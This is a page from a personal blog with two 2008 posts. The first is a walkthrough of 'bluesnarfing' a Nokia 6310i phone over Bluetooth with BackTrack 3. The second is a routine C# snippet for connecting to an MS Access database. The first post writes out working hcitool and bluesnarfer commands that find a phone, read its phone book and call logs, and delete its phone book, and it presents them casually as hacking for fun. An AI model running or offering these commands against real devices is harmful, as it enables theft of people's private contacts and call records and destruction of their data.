:: Think Code Execute ::

Think Code Excute

:: Bluesnarfing nokia 6310i ::

Hi there

after getting a good Bluetooth Device that work excllent on linux 

i said why not trying the bluesnarfing with BackTrack 3 :D

note i wrote this throw windows so the result not show :S

first to check the bluetooth device :

thedon# hciconfig 

the result show the device is down :S

so i make it up using

thedon# hciconfig up hci0

now lets search for any mobile 

thedon# hcitool scan hci0

scanning 

xx:Xx:xx:xx:xx   nokia the  don

after having the mac address lets hack it 

now to view the phone book 

thedon# bluesnarfer -r 1-50  -b Xx:xx:xx:XX

>>>>>>>

>>>>>>>

now to show recived call on a phone 

thedon# bluesnarfer -s RC -r 1-50 -b xx:xx:xx

where RC: is received call

to delete the phone book simply by 

thedon# bluesnarfer -w  1-50 -b xx:xx:xx

 

thats all and still tryng it :D  

having fun lo00olz  :D


November 29, 2008 Posted by eshbeata | :: Linux ::, :: S3curity :: | , , | No Comments Yet

:: C# Connect To MS Access Database ::

hi there

this a simple way to conect to MS access database using C#

 

first we need to use the :

// For MS Access

using System.Data.OleDb; 

 

/// Decleaer a Connection String where Database2.mdb isyour database in the data directory

 public static string connection = @”Provider=Microsoft.Jet.OLEDB.4.0;Data Source=|DataDirectory|\Database2.mdb”;

//define a oledb connection with out connection string

OleDbConnection con = new OleDbConnection(connection);

// Define a dataset becuase here i used disconected model ADO.net

DataSet dbset= new DataSet();

//define a sql query string 

        string sql= “select * from table”;

// define a data adapter that retirve data

        OleDbDataAdapter adr = new OleDbDataAdapter(sql, con);

// open the connection

        con.Open();

// fill the data set from the data adapter

 adr.Fill(dbset);

//So now all the data will be in the data Set

 

// Close the connection

con.Close();

 

//Enjoy

November 28, 2008 Posted by eshbeata | :: Asp.net :: | , , , | No Comments Yet